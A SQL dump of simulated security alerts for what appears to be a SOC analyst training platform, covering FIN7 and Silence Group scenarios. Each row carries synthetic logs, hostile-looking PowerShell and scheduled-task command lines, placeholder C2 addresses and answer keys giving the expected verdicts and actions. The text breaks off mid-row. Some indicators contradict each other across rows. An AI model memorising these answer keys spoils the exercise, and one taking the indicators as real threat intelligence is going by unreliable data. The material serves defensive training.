(1096, 'Newly Created Scheduled Tasks', 'high', 'System Logs', 'FIN7 has been detected creating a new scheduled task on a compromised system to maintain persistent access. The task was disguised with a legitimate-sounding name to avoid detection.', 'Persistence', 'T1053.005', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:45:12Z\",\"event_id\":4698,\"provider\":\"Microsoft-Windows-TaskScheduler\",\"task_name\":\"UpdateSecurityDefinitions\",\"task_author\":\"SYSTEM\",\"task_trigger\":\"Daily\",\"task_action\":\"C:\\\\Windows\\\\System32\\\\wscript.exe C:\\\\Windows\\\\Temp\\\\updater.js\",\"task_user\":\"COMPROMISED_USER\",\"task_description\":\"Scheduled task to keep the system updated\",\"task_creation_time\":\"2023-10-15T03:44:50Z\",\"executing_process\":{\"process_id\":5672,\"process_name\":\"wscript.exe\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\wscript.exe\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\wscript.exe C:\\\\Windows\\\\Temp\\\\updater.js\",\"parent_process_id\":1248,\"parent_process_name\":\"explorer.exe\"},\"network_communication\":{\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"initiated_by\":\"wscript.exe\"},\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"internal_ip\":\"192.168.1.10\"}', '2026-01-28 00:05:11', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"filename\",\"value\":\"updater.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Associated with FIN7 activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash for FIN7 malware\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known C2 server for FIN7\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"COMPROMISED_USER\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised system\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.806Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:12Z\\\",\\\"event_id\\\":4698,\\\"provider\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"task_name\\\":\\\"UpdateSecurityDefinitions\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"Daily\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\updater.js\\\",\\\"task_user\\\":\\\"COMPROMISED_USER\\\",\\\"task_description\\\":\\\"Scheduled task to keep the system updated\\\",\\\"task_creation_time\\\":\\\"2023-10-15T03:44:50Z\\\",\\\"executing_process\\\":{\\\"process_id\\\":5672,\\\"process_name\\\":\\\"wscript.exe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\updater.js\\\",\\\"parent_process_id\\\":1248,\\\"parent_process_name\\\":\\\"explorer.exe\\\"},\\\"network_communication\\\":{\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"initiated_by\\\":\\\"wscript.exe\\\"},\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.806Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:12Z\\\",\\\"event_id\\\":4698,\\\"provider\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"task_name\\\":\\\"UpdateSecurityDefinitions\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"Daily\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\updater.js\\\",\\\"task_user\\\":\\\"COMPROMISED_USER\\\",\\\"task_description\\\":\\\"Scheduled task to keep the system updated\\\",\\\"task_creation_time\\\":\\\"2023-10-15T03:44:50Z\\\",\\\"executing_process\\\":{\\\"process_id\\\":5672,\\\"process_name\\\":\\\"wscript.exe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\updater.js\\\",\\\"parent_process_id\\\":1248,\\\"parent_process_name\\\":\\\"explorer.exe\\\"},\\\"network_communication\\\":{\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"initiated_by\\\":\\\"wscript.exe\\\"},\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.806Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:12Z\\\",\\\"event_id\\\":4698,\\\"provider\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"task_name\\\":\\\"UpdateSecurityDefinitions\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"Daily\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\updater.js\\\",\\\"task_user\\\":\\\"COMPROMISED_USER\\\",\\\"task_description\\\":\\\"Scheduled task to keep the system updated\\\",\\\"task_creation_time\\\":\\\"2023-10-15T03:44:50Z\\\",\\\"executing_process\\\":{\\\"process_id\\\":5672,\\\"process_name\\\":\\\"wscript.exe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\updater.js\\\",\\\"parent_process_id\\\":1248,\\\"parent_process_name\\\":\\\"explorer.exe\\\"},\\\"network_communication\\\":{\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"initiated_by\\\":\\\"wscript.exe\\\"},\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.806Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:12Z\\\",\\\"event_id\\\":4698,\\\"provider\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"task_name\\\":\\\"UpdateSecurityDefinitions\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"Daily\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\updater.js\\\",\\\"task_user\\\":\\\"COMPROMISED_USER\\\",\\\"task_description\\\":\\\"Scheduled task to keep the system updated\\\",\\\"task_creation_time\\\":\\\"2023-10-15T03:44:50Z\\\",\\\"executing_process\\\":{\\\"process_id\\\":5672,\\\"process_name\\\":\\\"wscript.exe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\updater.js\\\",\\\"parent_process_id\\\":1248,\\\"parent_process_name\\\":\\\"explorer.exe\\\"},\\\"network_communication\\\":{\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"initiated_by\\\":\\\"wscript.exe\\\"},\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.806Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T03:45:12Z\\\",\\\"event_id\\\":4698,\\\"provider\\\":\\\"Microsoft-Windows-TaskScheduler\\\",\\\"task_name\\\":\\\"UpdateSecurityDefinitions\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"Daily\\\",\\\"task_action\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\updater.js\\\",\\\"task_user\\\":\\\"COMPROMISED_USER\\\",\\\"task_description\\\":\\\"Scheduled task to keep the system updated\\\",\\\"task_creation_time\\\":\\\"2023-10-15T03:44:50Z\\\",\\\"executing_process\\\":{\\\"process_id\\\":5672,\\\"process_name\\\":\\\"wscript.exe\\\",\\\"file_path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\updater.js\\\",\\\"parent_process_id\\\":1248,\\\"parent_process_name\\\":\\\"explorer.exe\\\"},\\\"network_communication\\\":{\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"initiated_by\\\":\\\"wscript.exe\\\"},\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1097, 'Lateral Movement Detected via SMB', 'high', 'Network Traffic Analysis', 'Using compromised credentials, the attackers pivot through the network, exploiting SMB vulnerabilities to reach point-of-sale systems.', 'Lateral Movement', 'T1021.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:34Z\",\"event_type\":\"SMB_Lateral_Movement_Detected\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"10.0.1.15\",\"username\":\"compromised_user\",\"smb_command\":\"SMB_COM_SESSION_SETUP_ANDX\",\"file_accessed\":\"\\\\\\\\10.0.1.15\\\\C$\\\\pos_data\\\\transaction.exe\",\"md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"action\":\"access_granted\",\"logon_type\":\"Network\",\"domain\":\"internal.local\"}', '2026-01-28 00:05:11', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with lateral movement attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Identified as internal point-of-sale system.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Previously flagged for anomalous behavior.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this hash.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1098, 'Data Exfiltration via Encrypted Channels', 'high', 'Data Loss Prevention', 'FIN7 exfiltrated sensitive credit card information from POS systems using encrypted channels. The data transfer was masked as legitimate traffic, bypassing standard security checks.', 'Exfiltration', 'T1048.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:22:33Z\",\"event_id\":\"738291\",\"source_ip\":\"10.20.30.40\",\"destination_ip\":\"203.0.113.42\",\"protocol\":\"HTTPS\",\"file_hash\":\"3d2e479b8b6f2c593b0e6e5b8f8a7d4a\",\"username\":\"john_doe\",\"filename\":\"credit_card_data.zip\",\"action\":\"exfiltration\",\"status\":\"success\"}', '2026-01-28 00:05:11', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.20.30.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with compromised POS system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server used by FIN7 for data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d2e479b8b6f2c593b0e6e5b8f8a7d4a\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware associated with FIN7 operations.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"john_doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal audit\",\"verdict\":\"suspicious\",\"details\":\"User account involved in unauthorized data transfer.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"credit_card_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file integrity monitoring\",\"verdict\":\"malicious\",\"details\":\"Sensitive data archive intended for exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.810Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:33Z\\\",\\\"event_id\\\":\\\"738291\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"3d2e479b8b6f2c593b0e6e5b8f8a7d4a\\\",\\\"username\\\":\\\"john_doe\\\",\\\"filename\\\":\\\"credit_card_data.zip\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.810Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:33Z\\\",\\\"event_id\\\":\\\"738291\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"3d2e479b8b6f2c593b0e6e5b8f8a7d4a\\\",\\\"username\\\":\\\"john_doe\\\",\\\"filename\\\":\\\"credit_card_data.zip\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.810Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:33Z\\\",\\\"event_id\\\":\\\"738291\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"3d2e479b8b6f2c593b0e6e5b8f8a7d4a\\\",\\\"username\\\":\\\"john_doe\\\",\\\"filename\\\":\\\"credit_card_data.zip\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.810Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:33Z\\\",\\\"event_id\\\":\\\"738291\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"3d2e479b8b6f2c593b0e6e5b8f8a7d4a\\\",\\\"username\\\":\\\"john_doe\\\",\\\"filename\\\":\\\"credit_card_data.zip\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"status\\\":\\\"success\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.810Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-25T14:22:33Z\\\",\\\"event_id\\\":\\\"738291\\\",\\\"source_ip\\\":\\\"10.20.30.40\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_hash\\\":\\\"3d2e479b8b6f2c593b0e6e5b8f8a7d4a\\\",\\\"username\\\":\\\"john_doe\\\",\\\"filename\\\":\\\"credit_card_data.zip\\\",\\\"action\\\":\\\"exfiltration\\\",\\\"status\\\":\\\"success\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1099, 'Initial Access: Phishing Campaign Detected', 'high', 'Email Security Gateway', 'A targeted phishing campaign by Silence Group was detected, aiming to gain initial access to bank networks. Phishing emails with malicious attachments were sent to multiple bank employees to harvest credentials.', 'Phishing', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T08:45:23Z\",\"email_id\":\"dcd3f9b1-4f5c-4c2b-bf5e-8a3f3d1a9a5f\",\"sender\":\"alert@bank-security.com\",\"recipient\":\"john.doe@bank.com\",\"subject\":\"Urgent: Account Verification Required\",\"attachment\":{\"filename\":\"Verification_Document.docx\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"},\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.25\",\"smtp_server\":\"smtp.bank.com\",\"phishing_url\":\"http://verify.bank-account.com/login\"}', '2026-01-28 00:08:15', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@bank.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_employee_directory\",\"verdict\":\"internal\",\"details\":\"Registered bank employee\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence_feed\",\"verdict\":\"malicious\",\"details\":\"Known phishing source IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis_report\",\"verdict\":\"malicious\",\"details\":\"Detected as a known malware hash associated with Silence Group\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://verify.bank-account.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"domain_reputation_service\",\"verdict\":\"malicious\",\"details\":\"Phishing site masquerading as a legitimate bank login page\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access: Phishing Campaign Detected\",\"date\":\"2026-02-01T20:32:22.811Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1100, 'Execution: Suspicious PowerShell Activity', 'high', 'Endpoint Detection and Response', 'An advanced threat actor is executing a PowerShell script designed to deploy ATM control malware. This activity follows a successful phishing campaign targeting financial institutions.', 'Script Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T13:45:30Z\",\"event_id\":\"4624\",\"computer_name\":\"ATM-SERVER-01\",\"user\":\"bank_admin\",\"ip_address\":\"192.168.1.45\",\"external_ip\":\"203.0.113.45\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\bank_admin\\\\Documents\\\\atm_control.ps1\",\"file_hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"process_id\":4876,\"parent_process_id\":972,\"parent_command_line\":\"cmd.exe /c start powershell.exe\"}', '2026-01-28 00:08:15', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised machine.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint_database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_repository\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known ATM control malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"atm_control.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_intelligence\",\"verdict\":\"malicious\",\"details\":\"PowerShell script used to control ATM operations.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"bank_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_db\",\"verdict\":\"clean\",\"details\":\"Authorized user account, likely compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1101, 'Persistence: Unusual Scheduled Task Creation', 'high', 'System Logs', 'Detected creation of a scheduled task by Silence Group to ensure malware persists through system reboots. The task is set to execute a known malicious binary.', 'Persistence Mechanism', 'T1053.005', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T13:45:23Z\",\"event_id\":4698,\"task_name\":\"\\\\Microsoft\\\\Windows\\\\SilenceTask\",\"creator_user\":\"admin_user\",\"creator_ip\":\"192.168.1.15\",\"scheduled_time\":\"2023-10-05T14:00:00Z\",\"action\":\"CreateTask\",\"task_file_path\":\"C:\\\\Windows\\\\System32\\\\Tasks\\\\SilenceTask.exe\",\"task_md5_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"creator_username\":\"admin_user\",\"attacker_ip\":\"203.0.113.50\"}', '2026-01-28 00:08:15', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Feed\",\"verdict\":\"malicious\",\"details\":\"Known Silence Group command and control server\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Authorized user account\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.812Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event 